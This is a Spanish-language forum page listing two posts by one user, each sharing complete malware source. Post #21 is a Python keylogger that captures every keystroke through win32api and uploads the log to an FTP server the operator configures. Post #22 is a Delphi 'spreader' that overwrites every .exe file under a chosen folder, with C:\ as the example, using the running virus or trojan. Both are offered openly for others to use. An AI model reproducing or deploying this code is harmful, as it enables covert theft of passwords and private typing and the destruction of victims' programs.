Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WarZ0n3

#21
Saludos a toda la comunidad.  :-*
Hoy les traigo un keylogger que programe en python 2.7 usando win32api, funciona vía FTP, y reconoce mayusculas y minusculas.
El código es muy simple y lo aporto con la esperanza de que alguien pueda aprender algo de este versátil lenguaje.
La explicación esta en la descripción... Si tiene alguna duda pregunten!
COMENTEN y gracias!!.  ::)

Código (python) [Seleccionar]

#******************************************#
#           Pylogger @por WarZ0n3          #
#******************************************#
# Explicacion:                             #
# Pylogger funciona via FTP para poder     #
# usarlo deben de tener su propio servidor #
# FTP ya sea casero. O en un Hosting...    #
# Nota: tambien reconoce minusculas        #
# mayusculas                               #
#******************************************#
# Configuracion y uso:                     #
# Pulsaciones : el numero de pulsaciones   #
# que se cumpliran hasta enviarlo por FTP. #
# ftp_servidor: Tu servidor FTP.           #
# ftp_user    : Tu usuario.                #
# ftp_pass    : Tu contraseña.        #
# logs        : archivo en donde se guarda-#
# ran las pulsaciones(tambien puede ser    #
# referido por ruta EJ: 'C/logs.txt' )     #
#******************************************#

# -*- coding: utf-8 -*-
# !usr/bin/python
import win32api, ftplib, os, sys
#   __Variables__
global Ok
Ok = False

# CONFIGURACION #
pulsaciones= 55
ftp_servidor= 'ftp.tuserver.com'
ftp_user= 'usuario'
ftp_pass= 'pass'
logs= 'lg56.txt'

def __larc():
    try:
        l= open(logs, 'w').write('')
        l.close()
        Keylogger()
    except: Keylogger()
def __cFTP():
    f= ftplib.FTP(ftp_servidor, ftp_user, ftp_pass)
    try:
        fichero= open(logs, 'rb+')
        f.storbinary('STOR'+ ' ' +logs, fichero)
        print f.storbinary
        f.close()
        f.quit()
        __larc()
    except: __larc()
def __comp():
    if os.path.isfile(logs):
        tam = os.path.getsize(logs)
        bytes = 1024
        result = (tam<bytes and 'Bytes' or [(tam<bytes*1000 and 'KB' or [(tam<bytes*1000000 and 'MB' or 'GB')[0]])[0]][0])
        if tam==pulsaciones:
            __cFTP()
def Keylogger():
    try:
        while True:
            fo= open(logs, 'a+')
            for k in range(0, 256):
                key= win32api.GetAsyncKeyState(k)
                if key == -32767: # si es presionada
                    if k == 20:
                        global Ok
                        Ok = True
                        print "Mayus"
                        fo.write('(Mayus)')
                    if k == 20 and MON is True:
                        Ok= False
                       
                    MON= Ok
                    if k == 81 and MON is False:
                        print "q"
                        fo.write('q')
                    if k == 81 and MON is True:
                        print "Q"
                        fo.write('Q')
                   
                    if k == 87 and MON is False:
                        print "w"
                        fo.write('w')
                    if k == 87 and MON is True:
                        print "W"
                        fo.write('W')
                       
                    if k == 69 and MON is False:
                        print "e"
                        fo.write('e')
                    if k == 69 and MON is True:
                        print "E"
                        fo.write('E')
                       
                    if k == 82 and MON is False:
                        print "r"
                        fo.write('r')
                    if k == 82 and MON is True:
                        print "R"
                        fo.write('R')
                       
                    if k == 84 and MON is False:
                        print "t"
                        fo.write('t')
                    if k == 84 and MON is True:
                        print "T"
                        fo.write('T')
                       
                    if k == 89 and MON is False:
                        print "y"
                        fo.write('y')
                    if k == 89 and MON is True:
                        print "Y"
                        fo.write('Y')
                       
                    if k == 85 and MON is False:
                        print "u"
                        fo.write('u')
                    if k == 85 and MON is True:
                        print "U"
                        fo.write('U')

                    if k == 73 and MON is False:
                        print "i"
                        fo.write('i')
                    if k == 73 and MON is True:
                        print "I"
                        fo.write('I')
                       
                    if k == 79 and MON is False:
                        print "o"
                        fo.write('o')
                    if k == 79 and MON is True:
                        print "O"
                        fo.write('O')
                       
                    if k == 80 and MON is False:
                        print "p"
                        fo.write('p')
                    if k == 80 and MON is True:
                        print "P"
                        fo.write('P')
                   
                    if k == 65 and MON is False:
                        print "a"
                        fo.write('a')
                    if k == 65 and MON is True:
                        print "A"
                        fo.write('A')
                   
                    if k == 83 and MON is False:
                        print "s"
                        fo.write('s')
                    if k == 83 and MON is True:
                        print "S"
                        fo.write('S')
                   
                    if k == 68 and MON is False:
                        print "d"
                        fo.write('d')
                    if k == 68 and MON is True:
                        print "D"
                        fo.write('D')
                       
                    if k == 70 and MON is False:
                        print "f"
                        fo.write('f')
                    if k == 70 and MON is True:
                        print "F"
                        fo.write('F')

                    if k == 71 and MON is False:
                        print "g"
                        fo.write('g')
                    if k == 71 and MON is True:
                        print "G"
                        fo.write('G')
                       
                    if k == 72 and MON is False:
                        print "h"
                        fo.write('h')
                    if k == 72 and MON is True:
                        print "H"
                        fo.write('H')
                       
                    if k == 74 and MON is False:
                        print "j"
                        fo.write('j')
                    if k == 74 and MON is True:
                        print "J"
                        fo.write('J')
                       
                    if k == 75 and MON is False:
                        print "k"
                        fo.write('k')
                    if k == 75 and MON is True:
                        print "K"
                        fo.write('K')
                   
                    if k == 76 and MON is False:
                        print "l"
                        fo.write('l')
                    if k == 76 and MON is True:
                        print "L"
                        fo.write('L')
                                 
                    if k == 90 and MON is False:
                        print "z"
                        fo.write('z')
                    if k == 90 and MON is True:
                        print "Z"
                        fo.write('Z')
                       
                    if k == 88 and MON is False:
                        print "x"
                        fo.write('x')
                    if k == 88 and MON is True:
                        print "X"
                        fo.write('X')
                       
                    if k == 67 and MON is False:
                        print "c"
                        fo.write('c')
                    if k == 67 and MON is True:
                        print "C"
                        fo.write('C')
                       
                    if k == 86 and MON is False:
                        print "v"
                        fo.write('v')
                    if k == 86 and MON is True:
                        print "V"
                        fo.write('V')
                       
                    if k == 66 and MON is False:
                        print "b"
                        fo.write('b')
                    if k == 66 and MON is True:
                        print "B"
                        fo.write('B')
                       
                    if k == 78 and MON is False:
                        print "n"
                        fo.write('n')
                    if k == 78 and MON is True:
                        print "N"
                        fo.write('N')
                       
                    if k == 77 and MON is False:
                        print "m"
                        fo.write('m')
                    if k == 77 and MON is True:
                        print "M"
                        fo.write('M')
                       
                    if k == 48: print "0" , fo.write('0')
                    if k == 49: print "1" , fo.write('1')
                    if k == 50: print "2" , fo.write('2')
                    if k == 51: print "3" , fo.write('3')
                    if k == 52: print "4" , fo.write('4')
                    if k == 53: print "5" , fo.write('5')
                    if k == 54: print "6" , fo.write('6')
                    if k == 55: print "7" , fo.write('7')
                    if k == 56: print "8" , fo.write('8')
                    if k == 57: print "9" , fo.write('9')
                    if k == 226: print "<" , fo.write('<')
                    if k == 219: print "'" , fo.write("'")
                    if k == 221: print "¡" , fo.write('¡')
                    if k == 222: print "Ž" , fo.write('ŽŽ')
                    if k == 220: print "º" , fo.write('º')
                    if k == 186: print "`" , fo.write('``')
                    if k == 187: print "+" , fo.write('+')
                    if k == 191: print "ç" , fo.write('ç')
                    if k == 189: print "-" , fo.write('-')
                    if k == 190: print "." , fo.write('.')
                    if k == 188: print "," , fo.write(',')
                   
                    #if k == 2: print "Click_D" , fo.write('(Click_D)')
                    #if k == 1: print "Click_I" , fo.write('(Click_I)')
                    if k == 27: print "Esc" , fo.write('(Esc)')
                    if k == 8: print "Back" , fo.write('(Back)')
                    if k == 91: print "Windows_I" , fo.write('(Windows_I)')
                    if k == 92: print "Windows_D" , fo.write('(Windows_D)')
                    if k == 93: print "Command" , fo.write('(Command)')
                    if k == 144: print "BloqNum" , fo.write('(BloqNum)')
                    if k == 145: print "BloqDespl" , fo.write('(BloqDespl)')
                    if k == 32: print "Space" , fo.write('(Space)')
                    if k == 9: print "TAB" , fo.write('(TAB)')
                    if k == 45: print "Insert" , fo.write('(Insert)')
                    if k == 17: print "Ctrl" , fo.write('(Ctrl)')
                    if k == 18: print "Alt" , fo.write('(Alt)')
                    if k == 13: print "Enter" , fo.write('(Enter)')
                    if k == 16: print "Shift" , fo.write('(Shift)')
                   
                    if k == 39: print "RIGHT" , fo.write('(RIGHT)')
                    if k == 38: print "UP" , fo.write('(UP)')
                    if k == 37: print "LEFT" , fo.write('(LEFT)')
                    if k == 40: print "DOWN" , fo.write('(DOWN)')
                    if k == 36: print "Inicio" , fo.write('(Inicio)')
                    if k == 35: print "Fin" , fo.write('(Fin)')
                    if k == 34: print "AvPag" , fo.write('(AvPag)')
                    if k == 33: print "RePag" , fo.write('(RePag)')
                    if k == 44: print "ImprPantPetSis" , fo.write('(ImprPantPetSis)')
                    if k == 46: print "Supr" , fo.write('(Supr)')

                    if k == 96: print "KPAD_0" , fo.write('(KPAD_0)')
                    if k == 97: print "KPAD_1" , fo.write('(KPAD_1)')
                    if k == 98: print "KPAD_2" , fo.write('(KPAD_2)')
                    if k == 99: print "KPAD_3" , fo.write('(KPAD_3)')
                    if k == 100: print "KPAD_4" , fo.write('(KPAD_4)')
                    if k == 101: print "KPAD_5" , fo.write('(KPAD_5)')
                    if k == 102: print "KPAD_6" , fo.write('(KPAD_6)')
                    if k == 103: print "KPAD_7" , fo.write('(KPAD_7)')
                    if k == 104: print "KPAD_8" , fo.write('(KPAD_8)')
                    if k == 105: print "KPAD_9" , fo.write('(KPAD_9)')
                    if k == 106: print "KPAD_*" , fo.write('(KPAD_*)')
                    if k == 107: print "KPAD_+" , fo.write('(KPAD_+)')
                    if k == 109: print "KPAD_-" , fo.write('(KPAD_-)')
                    if k == 110: print "KPAD_." , fo.write('(KPAD_.)')
                    if k == 111: print "KPAD_/" , fo.write('(KPAD_/)')
                   
                    if k == 112: print "F1" , fo.write('(F1)')
                    if k == 113: print "F2" , fo.write('(F2)')
                    if k == 114: print "F3" , fo.write('(F3)')
                    if k == 115: print "F4" , fo.write('(F4)')
                    if k == 116: print "F5" , fo.write('(F5)')
                    if k == 117: print "F6" , fo.write('(F6)')
                    if k == 118: print "F7" , fo.write('(F7)')
                    if k == 119: print "F8" , fo.write('(F8)')
                    if k == 120: print "F9" , fo.write('(F9)')
                    if k == 121: print "F10" , fo.write('(F10)')
                    if k == 122: print "F11" , fo.write('(F11)')
                    if k == 123: print "F12" , fo.write('(F12)')
                __comp()
    except KeyboardInterrupt: Keylogger()
Keylogger()

#22
Saludos a toda la comunidad.
Acá les dejo un spreader simple que programe en delphi 7.

Explicación
Como dice la descripción infecta la ruta pasa como argumentos y si se desea excluir alguna carpeta de ese directorio como podría ser WINDOWS. Ya que recordemos que si infectamos C:/ podríamos cargarnos todo el sistema y eso no es la idea.

Por si no entendieron la función se puede llamar en cualquier parte de su código tan solo haciendo : __spreader(TStringList, 'RUTA', 'CARPETA A EXCLUIR');

NOTA: este código lo que hace es comprobar si hay .EXE en la ruta y sus subdirectorios y si los hay, los remplaza con el código de su virus/troyano etc...
También es posible hacer un bucle con directorios y subdirectorios para que la función los valla recorriendo e infectando.
No lo puse pero si me lo piden lo agrego.
Comenten!!

Gracias y espero que les sirva: >:D
Código (pascal) [Seleccionar]

{/*******************************************\}
{           Spreader @Por WARZ0N3             }
{  Algoritmo de spreading :                   }
{  Infeccion .EXE         : si;               }
{  Propagacion P2P        : si;               }
{  Propagacion USB        : si;               }
{  Propagacion MSN        : no;               }
{  Exclusion de fichero   : si;               }
{/*******************************************\}
{ Acerca de...                                }
{ Este algoritmo remplaza ejecutables de la   }
{ carpeta usada como argumento + sus          }
{ directorios subyacentes. Tambien es posible }
{ excluir un directorio que no se quiera      }
{ infectar.                                   }
{  Ejemplo de uso:                            }
{  __spreader(TStringList, 'ruta', 'dir');    }
{  __spreader(miLista, 'C:/Program Files',    }
{   'WINDOWS');                               }
{/*******************************************\}
{        -Use bajo su propio riesgo!-         }
{           .:: Copyright 2013 ::.            }
{\*******************************************/}
procedure __spreader(lSpr:TSTRINGLIST;  pInit:string; pExclude:string); overload;
var
  spreader, Payload  : TSEARCHREC;
  target             : string;
  i, x               : integer;
  sNULL              : string;
begin
SETCURRENTDIR(pInit);
if FindFirst('*', FaAnyFile, spreader)=0 then
repeat
  if ((spreader.Attr and faAnyFile)<>0)and((spreader.Name)<>'.')
and((spreader.Name)<>'..') then
  begin
    target:= Copy(spreader.Name, 0, Length(spreader.Name));
    if ExtractFileExt(spreader.Name)='.exe' then begin
      CopyFile(pChar(ParamStr(0)), pChar(spreader.Name), FALSE);
    end;
    if DirectoryExists(target) then begin
      lSpr.Add(target);
    end;
    if DirectoryExists(pExclude) then begin
      for x:=0 to lSpr.Count-1 do begin
        lSpr[x]:= StringReplace(lSpr[x], pExclude, '', [rfReplaceAll]);
      end;
    end;
  end;
until FindNext(spreader)<>0;
for i:=0 to lSpr.Count-1 do begin
  SETCURRENTDIR(lSpr[i]);
  if lSpr[i]='' then begin
    SETCURRENTDIR('..');
  end;
  if FindFirst('*.exe', FaAnyFile, Payload)=0 then
  repeat
    CopyFile(pChar(ParamStr(0)), pChar(Payload.Name), FALSE);
  until FindNext(Payload)<>0;
  SETCURRENTDIR('..');
end;
SysUtils.FindClose(spreader);
SysUtils.FindClose(Payload);
end;

{/*******************************************\}
{               EJEMPLO DE USO                }
{/*******************************************\}
procedure TForm1.FormCreate(Sender: TObject);
const
  rSPRD : array[0..2] of string=(
  'C:\Archivos de programa\eMule',  'C:\Archivos de programa\Ask.com',
  'C:\Archivos de programa\MSN'
  );
var
  lSpr      : TSTRINGLIST;
  cont      : integer;
  sNULL     : string;
begin
lSpr := TSTRINGLIST.Create;
Application.ProcessMessages;
{ Llamado de la funcion spreader }
__spreader(lSpr,
  'C:\',  { Carpeta a infectar }
  'WINDOWS' { Excluir carpeta }
  );
ZeroMemory(@rSPRD, SIZEOF(rSPRD));
end;


PD: A los admins, tengo una cuenta vieja (ya no la uso ni entre mas) es Baal.
Si pueden borrarla se los agradecería ;)